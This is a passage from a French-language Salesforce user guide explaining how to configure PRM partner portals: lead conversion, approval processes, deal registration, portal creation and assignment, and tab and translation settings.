Pour permettre vos utilisateurs partenaires de convertir des pistes :
1. Assurez-vous que les autorisations suivantes sont actives sur le profil partenaire :

2.

3.
4.
5.
6.
7.
8.
9.

Conversion de pistes
Autorisation de modification sur les pistes
Autorisation de modification sur les comptes
Autorisation de modification sur les contacts
Autorisation de cration sur les contacts
Autorisation de cration sur les comptes
Autorisation de cration sur les tches

Pour plus d'informations sur la dfinition d'autorisations utilisateur dans des profils, reportez-vous Autorisations utilisateurs
sur les profils la page 117
Veillez ce que les utilisateurs partenaires disposent d'un accs en lecture seule au dossier concernant les paramtres gnraux
du portail dans l'onglet Documents. Le dossier concernant les paramtres gnraux du portail est automatiquement cr
lors de l'installation de la solution de PRM.
Crez des valeurs Statut de la piste compatibles avec les processus des activits de vos canaux.
Cliquez sur Configuration Afficher les packages installs.
Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
Slectionnez le nom du portail configurer.
Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Pistes.
Slectionnez l'option de conversion automatique des pistes.
Pour mapper des champs de piste standard sur des champs d'opportunit personnaliss, slectionnez Mappage de champs
standard et mappez chaque champ standard sur le champ personnalis appropri.
Conseil: Les utilisateurs partenaires n'ayant pas accs aux contacts, le mappage des champs de piste standard sur
les champs d'opportunit personnaliss vous permet de partager avec eux les donnes auxquelles ils n'ont normalement
pas accs.

10. Cliquez sur Enregistrer.

Pour convertir une piste, l'utilisateur partenaire doit en modifier le statut afin que celui-ci soit de type Converti.

PRM

Guide de l'utilisateur | Configuration du PRM | 1623

Fonctionnement de la conversion des pistes sur les portails PRM

La conversion des pistes dans le portail PRM est lgrement diffrente de la conversion des pistes dans Salesforce.com. Dans
le portail PRM, la conversion des pistes procde l'association de l'adresse e-mail des pistes avec celle des contacts. Pour
convertir des pistes, les utilisateurs partenaires doivent disposer de l'autorisation de lecture, de cration et de modification sur
les contacts et les comptes. En outre, pour ajouter une opportunit un compte existant, l'utilisateur partenaire doit tre en
mesure de le mettre jour. Selon les contacts existants, la conversion des pistes donne les rsultats suivants :

Si l'un des contacts dispose d'une adresse e-mail correspondante et d'un compte associ, le processus de conversion utilise
le contact et le compte existants afin de crer une opportunit associe ce compte.
Si un contact dispose d'une adresse e-mail correspondante mais ne possde aucun compte associ, un contact, un compte
et une opportunit sont crs.
Si plusieurs contacts disposent d'une adresse e-mail correspondante :
-

Si l'utilisateur partenaire n'est responsable que d'un seul contact et que ce dernier possde un compte, une opportunit
est cre, associe ce compte.
Si l'utilisateur partenaire n'est responsable que d'un seul contact et que ce dernier ne possde aucun compte, un contact,
un compte et une opportunit sont crs.
Si l'utilisateur partenaire est responsable de plusieurs contacts prsentant une adresse e-mail correspondante, le premier
contact trouv est utilis. Si un compte est associ ce contact, une opportunit est cre, associe ce compte. Si aucun
compte n'est associ ce contact, un compte, un contact et une opportunit sont crs.
Si l'utilisateur partenaire n'est responsable d'aucun contact correspondant, le premier contact trouv est utilis. Si un
compte est associ ce contact, une opportunit est cre, associe ce compte. Si aucun compte n'est associ ce
contact, un compte, un contact et une opportunit sont crs.

Si aucune adresse e-mail correspondante n'est trouve, un compte, un contact et une opportunit sont crs.
Remarque: Les rgles d'attribution ne peuvent pas tre actives partir du portail.

Voir aussi :
Attribution de pistes aux utilisateurs partenaires
propos de la gestion des utilisateurs PRM
propos de la gestion des utilisateurs responsables de canaux PRM
propos de la gestion des utilisateurs partenaires PRM
Utilisation des processus d'approbation avec les utilisateurs partenaires
Mise en uvre de l'enregistrement de l'affaire PRM

PRM

Guide de l'utilisateur | Configuration du PRM | 1624

Utilisation des processus d'approbation avec les utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour accepter, refuser ou rattribuer les demandes
d'approbation :

Les autorisations varient en fonction des paramtres du

processus d'approbation.

Grce aux processus d'approbation du PRM, vous tes en mesure de crer des workflows faisant intervenir vos utilisateurs
partenaires. Par exemple, si votre processus commercial exige qu'une piste soit convertie par un responsable de canaux, et
n'autorise pas un utilisateur partenaire le faire, vous pouvez dfinir un processus d'approbation qui permette ce dernier de
demander la conversion de la piste.
Les processus d'approbation suivent les mmes principes, qu'il s'agisse d'utilisateurs partenaires ou d'autres utilisateurs. Toutefois,
dans la mesure o les utilisateurs partenaires ont des droits d'accs limits aux donnes de votre entreprise, une liste spciale
de demandes d'approbation peut tre affiche dans l'onglet Accueil du portail PRM.
Pour afficher les demandes d'approbation dans le portail PRM :
1. Crez un processus d'approbation..
2. Cliquez sur Configuration Afficher les packages installs.
3. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
4. Slectionnez le nom du portail configurer.
5. Dans la section Onglets disponibles, cliquez sur Modifier en regard de l'onglet Accueil.
6. Slectionnez Inclure les demandes d'approbation.
7. Cliquez sur Enregistrer.
Les processus d'approbation peuvent tre crs pour les pistes, les opportunits et les objets personnaliss sur le portail PRM.

Voir aussi :
Prsentation des processus d'approbation
Mise en uvre de l'enregistrement de l'affaire PRM

Mise en uvre de l'enregistrement de l'affaire PRM

Disponible avec : Enterprise Edition et Unlimited Edition

En plus de personnaliser le portail PRM, vous pouvez galement mettre en place de nouveaux processus et workflow pour
prendre en charge la gestion des pistes, l'enregistrement des affaires et les demandes de financement manant d'utilisateurs
partenaires.

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Guide de l'utilisateur | Configuration du PRM | 1625

Remarque: Si vous avez Enterprise Edition ou Unlimited Edition, vous pouvez crer une copie unique et complte
de votre entreprise dans un environnement distinct afin de tester le bon fonctionnement de vos personnalisations avant
leur mise en uvre dans votre entreprise Salesforce.com. Pour plus d'informations, reportez-vous Force.com Sandbox.

Enregistrement de l'affaire - Exemple et meilleures pratiques

L'exemple suivant reprend les meilleures pratiques permettant de personnaliser la gestion de l'enregistrement d'affaires sur le
portail PRM dans votre entreprise. L'enregistrement d'affaires permet d'viter les conflits de canaux et rcompense les partenaires
pour avoir enregistr des affaires de faon anticipe dans leurs cycles de vente par le biais de la modification des pistes.
L'enregistrement des affaires suit, en rgle gnrale, un processus semblable celui prsent ci-dessous :
1.
2.
3.
4.
5.

Un utilisateur partenaire cre une piste.

Le partenaire demande que l'affaire soit enregistre.
La piste est verrouille afin que l'utilisateur partenaire ne puisse pas la modifier.
Le responsable de canaux est alert de la demande d'enregistrement d'une affaire.
Le responsable de canaux vrifie que l'affaire n'est pas en double. Si tel est le cas, le responsable de canaux fusionne les
doublons ou rejette la demande.
6. Le responsable de canaux vrifie la demande afin de s'assurer que l'affaire est conclue.
7. Le responsable de canaux approuve ou rejette la demande.
8. En cas d'approbation, le partenaire continue mener bien la piste dans l'optique de la convertir en opportunit et,
finalement, de conclure l'affaire.
Vous pouvez configurer chaque tape afin de la simplifier pour les responsables de canaux et les partenaires. Les exemples de
procdure suivants dcrivent les diffrentes manires de personnaliser le partage de pistes, les valeurs de statut des pistes, les
champs personnaliss, les prsentations de page, les processus de piste, les types d'enregistrement de piste et les processus
d'approbation. En rgle gnrale, un processus d'enregistrement d'affaires complet comprend galement la gestion d'opportunits,
ainsi que la gestion des prvisions et la gnration de rapports. Vous pouvez apporter les modifications ncessaires ces exemples
de procdure de faon ce qu'elles correspondent aux processus commerciaux de votre entreprise.
Modification du statut des pistes
Il se peut que vous ayez ajouter des valeurs au champ Statut de la piste correspondant aux pistes. Par exemple,
lorsqu'un partenaire demande qu'une affaire soit enregistre, vous pouvez dfinir le statut sur Approbation en attente. Vous
pouvez galement souhaiter ajouter les paramtres Approuve, Refuse et Approuve et convertie afin d'indiquer le statut de
l'affaire aprs vrification de celle-ci par le responsable de canaux. Le statut Approuve et convertie indique que l'affaire a t
convertie en opportunit.
Pour modifier les valeurs de statut de piste :
1.
2.
3.
4.
5.
6.
7.
8.

Cliquez sur Configuration Personnalisation Piste Champs.

Cliquez sur Modifier en regard de Statut de la piste.
Cliquez sur Nouveau.
Saisissez Approbation en attente, Approuve, Refuse et Approuve et convertie. Veuillez saisir chaque valeur sur une
ligne distincte.
Cliquez sur Enregistrer.
Cliquez sur Modifier en regard de la valeur Approuve et convertie.
Slectionnez Converti.
Cliquez sur Enregistrer.

PRM

Guide de l'utilisateur | Configuration du PRM | 1626

Ajout de champs personnaliss

Vous avez la possibilit de crer des champs personnaliss pour permettre aux responsables de canaux et aux utilisateurs
partenaires de travailler de manire efficace. Par exemple, vous pouvez crer un champ personnalis sur les pistes afin de
permettre aux utilisateurs partenaires de demander l'enregistrement d'une affaire.
Pour crer un champ Affaire enregistre personnalis pour l'enregistrement d'affaires :
Cliquez sur Configuration Personnalisation Piste Champs.
Cliquez sur Nouveau dans la section Champs personnaliss de la page.
Slectionnez le type de donnes Case cocher et cliquez sur Suivant.
Saisissez Affaire enregistre comme tiquette de champ. Les utilisateurs partenaires peuvent visualiser cette tiquette sur
le portail.
5. Laissez la valeur par dfaut Non coche.
6. Cliquez sur Suivant.
7. Paramtrez le champ de faon ce qu'il soit visible pour tous les profils partenaires et les responsables de canaux. Selon
vos processus, vous pouvez le marquer comme visible ou en lecture seule pour les autres utilisateurs de votre entreprise.
8. Cliquez sur Suivant.
9. Si vous avez cr des prsentations de page pour vos responsables de canaux et utilisateurs partenaires, ajoutez le champ
ces prsentations. Si vous ne l'avez pas encore fait, vous pouvez ajouter le champ lors de la cration de la prsentation de
page.
10. Cliquez sur Enregistrer.
1.
2.
3.
4.

Remarque: Pour plus d'informations sur la cration de champs personnaliss, reportez-vous Cration de champs
personnaliss.

Modification des prsentations de page

Vous avez la possibilit de crer plusieurs prsentations de page personnalises pour permettre aux responsables de canaux et
aux utilisateurs partenaires de travailler de manire efficace. Par exemple, vous pouvez choisir de configurer une prsentation
de page pour l'enregistrement d'affaires en y ajoutant le champ personnalis Affaire enregistre.
Pour crer une prsentation de page de piste personnalise :
1.
2.
3.
4.
5.
6.
7.
8.
9.

Cliquez sur Configuration Personnalisation Piste Prsentations de page.

Cliquez sur Nouveau.
Choisissez une prsentation de page existante sur laquelle baser cette prsentation.
Saisissez Affaires comme nom de prsentation de page.
Cliquez sur Enregistrer.
Cliquez sur Modifier pour modifier la prsentation de page.
Ajoutez le champ Affaire enregistre la prsentation de page.
Ajoutez la liste associe Historique des approbations la prsentation de page.
Cliquez sur Enregistrer.
Conseil: Nous vous conseillons de crer des prsentations de page diffrentes pour les utilisateurs partenaires et les
responsables de canaux.

Configuration des processus de piste

Les processus de piste peuvent vous aider assurer le suivi des pistes dans diffrents cycles de vie de piste. Ils permettent
d'afficher diffrentes valeurs Statut de la piste pour diffrents types d'utilisateur. Par exemple, il se peut que vous

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Guide de l'utilisateur | Configuration du PRM | 1627

souhaitiez que les responsables de canaux et les utilisateurs partenaires fassent usage des valeurs Ouverte, Approbation en
attente, Approuve, Refuse, et Approuve et convertie lorsqu'ils utilisent des pistes lors de l'enregistrement d'affaires.
Pour crer un processus de piste pour l'enregistrement d'affaires :
1. Cliquez sur Configuration Pistes Processus de piste.
2. Cliquez sur Nouveau.
3. Choisissez un processus de piste existant pour copier ses valeurs de liste de slection dans le nouveau processus ou slectionnez
Principal pour copier toutes les valeurs de liste de slection disponibles.
4. Saisissez Processus d'enregistrement de l'affaire comme nom de processus de piste.
5. Cliquez sur Enregistrer.
6. Ajoutez les valeurs Statut de la piste Ouverte, Approbation en attente, Approuve, Refuse et Approuve et
convertie la liste Valeurs slectionnes afin qu'elles soient disponibles pour les personnes utilisant des pistes dans le cycle
de vie d'enregistrement de l'affaire.
ATTENTION: Si vous crez plusieurs processus de piste, vrifiez qu'ils partagent les mmes valeurs de statut de
piste convertie. Les utilisateurs ne peuvent convertir une piste que si son statut est inclus dans le processus de piste
associ au type d'enregistrement de piste par dfaut de leur profil.
7. Slectionnez Ouverte comme valeur par dfaut appliquer aux nouvelles pistes.
8. Cliquez sur Enregistrer.
Configuration des types d'enregistrement de piste
Il est possible de traiter les pistes gres par des utilisateurs partenaires diffremment des pistes standard, en leur crant un
type d'enregistrement spcial. Les types d'enregistrement permettent de contrler les processus de piste et prsentations de
page que les responsables de canaux et les utilisateurs partenaires peuvent voir. Par exemple, vous pouvez crer un type
d'enregistrement pour l'enregistrement d'affaires et l'associer au processus de piste d'enregistrement de l'affaire et la prsentation
de page dj cre.
Pour crer un type d'enregistrement personnalis pour l'enregistrement d'affaires :
Cliquez sur Configuration Pistes Types d'enregistrement.
Cliquez sur Nouveau.
Choisissez un type d'enregistrement existant sur lequel baser ce type d'enregistrement ou choisissez Principal.
Saisissez Enregistrement de l'affaire comme nom de type d'enregistrement.
Slectionnez Processus d'enregistrement de l'affaire comme processus de piste.
Cochez Actif afin d'activer le type d'enregistrement.
Activez ce type d'enregistrement pour les profils de tous vos utilisateurs partenaires et responsables de canaux. En outre,
paramtrez ce type d'enregistrement comme valeur par dfaut pour tous les profils des utilisateurs partenaires.
8. Cliquez sur Suivant.
9. Si vous avez cr des prsentations de page pour les responsables de canaux et les utilisateurs partenaires, optez pour ces
prsentations ; sinon, slectionnez une prsentation de page appliquer tous les profils. Veillez ce que cette prsentation
de page soit approprie avant d'activer l'accs au portail pour les utilisateurs partenaires.
10. Cliquez sur Enregistrer.
1.
2.
3.
4.
5.
6.
7.

Remarque: Pour plus d'informations sur la cration des types d'enregistrement, reportez-vous Cration des types
d'enregistrement.

Configuration des processus d'approbation

Les processus d'approbation peuvent tre utiliss pour contrler le processus d'enregistrement de l'affaire. Il est possible de
crer un processus d'approbation qui, lorsqu'une demande d'enregistrement de l'affaire est mise par un utilisateur partenaire,

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Guide de l'utilisateur | Configuration du PRM | 1628

verrouille la piste et prvient le responsable de canaux appropri qu'une demande d'approbation a t formule. Lorsque le
responsable de canaux approuve ou rejette l'enregistrement de l'affaire, la piste est dverrouille et l'utilisateur partenaire est
prvenu. Crez un processus d'approbation en suivant les instructions de Cration de processus d'approbation
Rglez ce processus selon vos besoins. Par exemple, vous pouvez ajouter l'envoi d'une notification par e-mail aux utilisateurs
partenaires pour acclrer le traitement, ou une tche pour que l'utilisateur partenaire convertisse la piste.
Conseils supplmentaires pour la personnalisation de votre entreprise
Utilisez ces conseils supplmentaires concernant la personnalisation de votre entreprise Salesforce.com afin de grer
l'enregistrement d'affaires :

Crez un modle d'e-mail personnalis pour l'enregistrement d'affaires, comportant tous les dtails concernant la piste,
afin que le responsable de canaux puisse rapidement traiter la demande. Pour plus d'informations, reportez-vous Gestion
des modles de message.
Crez des rgles de mappage de champs de piste personnaliss pour la conversion d'opportunits. Pour plus d'informations,
reportez-vous Mappage des champs de piste personnaliss.
Contrairement aux autres utilisateurs, les utilisateurs partenaires n'ont pas besoin de toutes les informations dtailles
relatives aux pistes et aux opportunits. Rglez la scurit au niveau du champ sur masqu pour tous les champs que vous
ne souhaitez pas que les partenaires voient. Par exemple, masquez les champs Cr par et Dernire modification
par, sauf si les utilisateurs du portail PRM doivent consulter ces informations.

Processus d'enregistrement de l'affaire aprs configuration

Votre entreprise Salesforce.com tant configure, le processus d'enregistrement de l'affaire peut fonctionner comme suit :
1. Sur le portail PRM, l'utilisateur partenaire cre une piste l'aide du type d'enregistrement Enregistrement de l'affaire. Le
statut de la piste est automatiquement paramtr sur Ouverte.
2. L'utilisateur partenaire clique sur Soumettre pour approbation sur la page de dtails de la piste.
3. Le processus d'approbation verrouille la piste.
4. Le responsable des canaux passe en revue la demande, vrifiant s'il s'agit d'une piste en double et, pour ce faire, clique sur
Chercher les doublons sur la page de dtails de la piste.
5. Le responsable de canaux approuve ou rejette la demande.
6. Le processus d'approbation dverrouille la piste et, en cas d'approbation de l'enregistrement de l'affaire, l'utilisateur partenaire
continue mener bien l'affaire au sein du portail PRM : il la convertit en opportunit et, finalement, la clt.
Les besoins et les processus commerciaux de votre entreprise peuvent tre diffrents de ceux dcrits dans cet exemple. Cependant,
cet exemple illustre certaines des personnalisations classiques que vous pouvez raliser afin de grer l'enregistrement des affaires
via le portail PRM.

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Guide de l'utilisateur | Gestion des portails PRM | 1629

Gestion des portails PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des portails PRM :

Personnaliser l'application

Remarque:
Si vous avez achet ou activ PRM aprs fvrier 2008, vous utilisez le portail partenaire. Pour plus d'informations sur
le Portail partenaire, reportez-vous Configuration du portail partenaire la page 1571.
En cas d'activation de la gestion des relations partenaires, un portail PRM par dfaut est automatiquement cr. Vous pouvez
personnaliser ce portail en fonction de vos besoins ou crer d'autres portails, si ncessaire. Disposer de plusieurs portails vous
permet d'avoir un portail personnalis pour chaque type de partenaire. Vous pouvez, par exemple, avoir des partenaires dans
diffrentes rgions ou avoir diffrents niveaux de partenaires en fonction des montants de ventes qu'ils ont gnrs. Chaque
type de partenaire peut tre associ un portail PRM unique personnalis son intention.
Remarque: Ne crez pas un portail pour chaque compte partenaire. Organisez vos partenaires en groupes logiques.

Pour personnaliser les portails PRM :

1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
partir de la page de configuration des portails PRM, vous pouvez effectuer les tches suivantes.

Pour crer un portail PRM, cliquez sur New. Reportez-vous Dfinition d'un portail PRM la page 1630.
Pour attribuer des utilisateurs partenaires un portail, cliquez sur Attribution de portail. Reportez-vous Attribution des
utilisateurs partenaires un portail PRM.
Pour rinitialiser le portail par dfaut, cliquez sur Rinitialiser le portail par dfaut. La rinitialisation du portail par dfaut
supprime les personnalisations dont le portail par dfaut a fait l'objet.
Pour afficher et personnaliser les paramtres d'un portail, slectionnez son nom. Reportez-vous Configuration d'un portail
PRM.
Pour modifier les dtails d'un portail, cliquez sur Modifier en regard du nom du portail. Vous pouvez non seulement dfinir
le nom de portail, mais galement configurer les objets inclure dans la recherche et le titre du responsable du compte
partenaire, changer l'URL de dconnexion et grer l'apparence du portail. Reportez-vous Configuration d'un portail
PRM.
Pour prvisualiser un portail Partenaires, cliquez sur Aperu.
La nouvelle fentre qui apparat contient un aperu du portail.

Pour supprimer un portail, cliquez sur Del. Une bote de dialogue d'avertissement vous invite confirmer la suppression.
Tous les utilisateurs attribus un portail supprim sont rattribus au portail par dfaut. Aucun des documents associs
n'est supprim. Vous ne pouvez pas supprimer le portail par dfaut.

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Guide de l'utilisateur | Gestion des portails PRM | 1630

Remarque: Pour configurer Salesforce CRM Content pour l'accs au portail PRM portal, suivez les instructions dans
Activation de Salesforce CRM Content dans le Portail partenaire la page 1580.

Voir aussi :
Prsentation de la gestion des relations partenaires

Dfinition d'un portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des portails PRM :

Personnaliser l'application

En cas d'activation de la gestion des relations partenaires, un portail PRM par dfaut est automatiquement cr. Vous pouvez
personnaliser ce portail en fonction de vos besoins ou crer d'autres portails, si ncessaire. Disposer de plusieurs portails vous
permet d'avoir un portail personnalis pour chaque type de partenaire. Vous pouvez, par exemple, avoir des partenaires dans
diffrentes rgions ou avoir diffrents niveaux de partenaires en fonction des montants de ventes qu'ils ont gnrs. Chaque
type de partenaire peut tre associ un portail PRM unique personnalis son intention.
Remarque: Ne crez pas un portail pour chaque compte partenaire. Organisez vos partenaires en groupes logiques.

Pour crer un portail PRM :

1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Cliquez sur Nouveau.
4. Slectionnez le portail copier.
Ceci vous permet de crer facilement plusieurs portails reposant sur la mme conception. Par exemple, vous pouvez disposer
de trois portails pour trois zones gographiques, la seule diffrence entre eux tant la marque. Pour crer facilement ces
trois portails, crez-en un, vrifiez qu'il est exactement tel que vous le souhaitez, puis crez les deux autres portails partir
de celui-ci.
5. Attribuez un nom au portail.
6. Si vous souhaitez en faire votre portail PRM par dfaut, cochez la case Portail par dfaut. Le portail par dfaut est
celui dont se servent tous les utilisateurs partenaires sauf si vous les attribuez un autre portail.
7. Cliquez sur Enregistrer.
8. Personnalisez ensuite le portail PRM selon vos besoins. Reportez-vous Configuration d'un portail PRM.
Le nombre de portails que vous pouvez crer dpend de la configuration de vos portails. Une entreprise dont huit onglets sont
affichs sur le portail PRM (Accueil, Pistes, Opportunits, Documents, Solutions et trois onglets personnaliss) et prsentant
trois langues en moyenne par portail peut crer 50 portails.

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Guide de l'utilisateur | Gestion des portails PRM | 1631

Pour savoir si vous pouvez crer un portail, utilisez la formule suivante :

2995 / (21 + (( 5 + nombre total d'onglets sur le portail ) * nombre de langues dfinies
sur le portail ))

o nombre total d'onglets sur le portail est le nombre d'onglets disponibles pour les utilisateurs partenaires
multipli par le nombre de portails que vous avez crs et nombre de langues dfinies sur le portail est le nombre
moyen de langues actives pour chaque portail. Si le rsultat de cette formule est suprieur un, vous pouvez crer le portail.
Par exemple, si vous avez 10 portails, cinq onglets disponibles (Accueil, Pistes, Opportunits, Documents et Solutions) et une
moyenne de trois langues pour les portails, la formule pour votre configuration actuelle est :
2995 / (21 + (( 5 + 50) * 3))= 16.1

Si vous souhaitiez crer un autre portail, la formule est :

2995 / (21 + (( 5 + 55) * 3))= 14.9

Notez que le seul nombre qui a chang est le nombre d'onglets, le paramtre nombre total d'onglets sur le portail
est en effet pass de 50 55. Le rsultat tant suprieur un, vous pouvez crer le portail.

Voir aussi :
Prsentation de la gestion des relations partenaires
Gestion des portails PRM
Attribution des utilisateurs partenaires un portail PRM

Attribution des utilisateurs partenaires un portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des portails PRM :

Personnaliser l'application

Vous pouvez choisir d'avoir plusieurs portails PRM personnaliss en fonction de chacun des types de vos partenaires. Vous
pouvez dfinir le portail accessible aux utilisateurs partenaires en attribuant des profils de partenaire au portail. Par exemple,
si vous avez deux niveaux de partenaires, Gold et Silver, vous pouvez crer deux profils de partenaires, l'un appel Partenaire
Gold et l'autre Partenaire Silver. Ensuite, vous pouvez affecter tous les utilisateurs partenaires ayant le profil Partenaire
Gold au portail PRM Gold et tous les utilisateurs avec le profil Partenaire Silver, au portail Partenaire Silver.
Pour attribuer les utilisateurs partenaires un portail :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Cliquez sur Attribution de portail. Une liste des profils partenaires et de leurs attributions de portail apparat.

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Guide de l'utilisateur | Gestion des portails PRM | 1632

4. Si vous le souhaitez, cliquez sur Afficher les utilisateurs pour passer en revue les utilisateurs et les profils disponibles.
5. Cliquez sur Modifier l'attribution.
Remarque: Si vous possdez un seul portail, tous les utilisateurs partenaires lui sont attribus et ce bouton n'est
pas activ.
6. Slectionnez Portail activ, puis choisissez le nom de portail appropri pour chaque profil partenaire.
7. Cliquez sur Enregistrer.

Voir aussi :
Gestion des portails PRM
Configuration d'un portail PRM
Dfinition d'un portail PRM
Cration et modification de profils

Configuration d'un portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des portails PRM :

Personnaliser l'application

Remarque:
Si vous avez achet ou activ PRM aprs fvrier 2008, vous utilisez le portail partenaire. Pour plus d'informations sur
le Portail partenaire, reportez-vous Configuration du portail partenaire la page 1571.
En cas d'activation de la gestion des relations partenaires, un portail PRM par dfaut est automatiquement cr. Vous pouvez
personnaliser ce portail en fonction de vos besoins ou crer d'autres portails, si ncessaire. Disposer de plusieurs portails vous
permet d'avoir un portail personnalis pour chaque type de partenaire. Vous pouvez, par exemple, avoir des partenaires dans
diffrentes rgions ou avoir diffrents niveaux de partenaires en fonction des montants de ventes qu'ils ont gnrs. Chaque
type de partenaire peut tre associ un portail PRM unique personnalis son intention.
Remarque: Ne crez pas un portail pour chaque compte partenaire. Organisez vos partenaires en groupes logiques.

Pour configurer un portail Partenaires existant :

1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Configurer en regard de la sous-application PRM Salesforce.com. Une nouvelle fentre affiche la page de
configuration des portails PRM.
3. Slectionnez le nom d'un portail pour afficher la page de dtails correspondante.

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Guide de l'utilisateur | Gestion des portails PRM | 1633

4. Cliquez sur Modifier pour modifier les paramtres du portail. Pour plus d'informations, reportez-vous Dtails du portail
PRM.
5. Cliquez sur Enregistrer pour achever la procdure.
partir de la page des dtails du portail Partenaires, vous pouvez galement :

Cliquer sur Cloner pour crer un nouveau portail qui sera une copie de celui-ci ;
Personnaliser les onglets disponibles sur le portail (reportez-vous Onglets disponibles) ;
Grer les traductions du portail (reportez-vous Traductions).

Dtails du portail PRM

La page des dtails du portail PRM comporte les champs suivants :
Champ

Description

Nom de l'application

Nom de l'application, tel qu'indiqu dans la barre de titre du

navigateur lorsque l'utilisateur se connecte au portail.

Portail par dfaut

Indique si le portail est celui par dfaut.

Description

Description du portail.

Pied de page

Le pied de page figure en bas du portail de partenaires. Il

comprend gnralement les informations de copyright et de
contact relatives au portail.

En-tte

L'en-tte figure au-dessus des onglets du portail de partenaires.

Il comprend gnralement un logo et tout autre lment propre
votre socit qui doit figurer sur le portail.

Options d'aide

Choisissez entre l'aide par dfaut ou votre systme d'aide

personnalis. Reportez-vous PRM Portal Help Options pour
plus d'informations.

Inclure dans la recherche

Permet de dfinir en les slectionnant les objets inclure dans

la recherche de vos partenaires.
Remarque: La prsentation et le contenu des rsultats
de la recherche dpendent des prsentations de
recherche dfinies pour les objets slectionns. Toutes
les informations prsentes dans les rsultats de la
recherche sont accessibles aux partenaires, et ce, quelle
que soit la prsentation de recherche.

URL de connexion

URL de la page de connexion du portail de partenaires. Ce

champ n'est fourni qu' titre indicatif.

Logo

Logo de votre entreprise ou logo utiliser pour ce portail de

partenaires. Le logo n'est pas automatiquement inclus dans le
portail, mais il l'est gnralement dans l'en-tte.
Si le logo est disponible, il est affich.

URL de dconnexion

Pour rediriger les utilisateurs partenaires vers une URL

spcifique lorsqu'ils se dconnectent, indiquez-la dans ce

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Guide de l'utilisateur | Gestion des portails PRM | 1634

Champ

Description
champ. Par dfaut, les utilisateurs sont rachemins vers l'URL
de connexion.

Titre du responsable du compte partenaire

Titre de la personne responsable des comptes partenaires (par

exemple, Gestionnaire de rseau ). Ce titre est affich dans
le menu latral de l'onglet Accueil du portail de partenaires.

Nom du portail PRM

Nom du portail, tel qu'affich sur le portail de partenaires.

Feuille de style

Feuille de style en cascade qui dtermine l'aspect du portail

de partenaires. Passez en revue la feuille de style par dfaut
pour savoir quelles classes sont utilises par le portail. Vous
pouvez ajouter d'autres classes pour l'en-tte ou le pied de
page. Pour plus d'informations sur les feuilles de style en
cascade, reportez-vous Cascading Style Sheets Home Page
sur le World Wide Web Consortium.

Nom de votre socit

Nom de votre socit, tel qu'affich sur le portail de

partenaires.

Onglets disponibles
Vous pouvez configurer l'aspect et les fonctionnalits de chaque onglet disponible dans le portail PRM. Vous pouvez spcifier
les onglets visibles pour les utilisateurs partenaires en configurant les paramtres d'onglet et les autorisations d'objet standard
dans les profils des utilisateurs partenaires. Un onglet figure dans cette liste s'il est inclus dans la sous-application
personnalise PRM. Pour plus d'informations, consultez les rubriques Cration et modification de profils et Gestion des
sous-applications.
Pour configurer un onglet du portail, cliquez sur Modifier en regard du nom de l'onglet voulu dans la section Onglets disponibles
de la page de dtails du portail Partenaires. Pour obtenir une aide spcifique sur la configuration des onglets disponibles,
reportez-vous :

Configuration de l'onglet Accueil du portail PRM

Configuration de l'onglet Compte du portail PRM
Configuration de l'onglet Pistes du portail PRM
Configuration de l'onglet Opportunits du portail PRM
Configuration de l'onglet Solutions du portail PRM
Configuration de l'onglet Documents du portail PRM
Configuration de l'onglet Objet personnalis PRM
Configuration de l'onglet Contacts du portail PRM

Vous pouvez galement limiter les onglets disponibles pour tous les portails PRM en modifiant les onglets disponibles dans
la sous-application personnalise PRM. . Par exemple, si vous ne souhaitez pas que vos portails PRM comportent l'onglet
Compte, supprimez-le de la liste des onglets disponibles. Si vous souhaitez ultrieurement autoriser vos utilisateurs partenaires
accder l'onglet Compte, vous devez le rajouter la liste des onglets disponibles. De la mme manire, vous pouvez modifier
l'ordre des sous-applications qui sont affiches dans tous les portails PRM. Pour plus d'informations, consultez la rubrique
Gestion d'enregistrements.
Les champs de devise des objets personnaliss ou standard dans le portail PRM sont convertis dans la devise de l'utilisateur
partenaire. Cette conversion ne fait pas appel aux taux de change dats, mme si la gestion avance des devises a t active
pour votre entreprise.

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Guide de l'utilisateur | Gestion des portails PRM | 1635

Traductions
Pour ajouter des langues au portail PRM :
1. Cliquez sur Nouvelle langue dans la section Traduction de la page de dtails du portail Partenaires.
2. Slectionnez la langue utiliser pour le portail PRM, puis cliquez sur Enregistrer.
3. Dfinissez les valeurs du portail dans la langue slectionne, puis cliquez sur Enregistrer.
Pour plus d'informations, reportez-vous Gestion des traductions dans les portails PRM.

Voir aussi :
Gestion des portails PRM
Attribution des utilisateurs partenaires un portail PRM
Dfinition d'un portail PRM

Configuration de l'onglet Accueil du portail PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour personnaliser le portail PRM :

Personnaliser l'application

L'onglet Accueil est la premire page qui apparat lorsqu'un utilisateur partenaire se connecte au portail. L'onglet Accueil
comprend les lments suivants :
Menu latral
Le menu latral de l'onglet Accueil comprend un lien vers le compte de l'utilisateur partenaire, des informations sur le
responsable de canaux et des liens rapides permettant de crer des enregistrements tels que des pistes. Il peut galement
prsenter des statistiques (nombre de pistes ouvertes ou opportunits affiches).
Message de la page d'accueil
Le message de la page d'accueil, tout comme les messages des autres onglets du portail, constitue une zone dans laquelle
vous pouvez partager des informations avec tous vos utilisateurs partenaires.
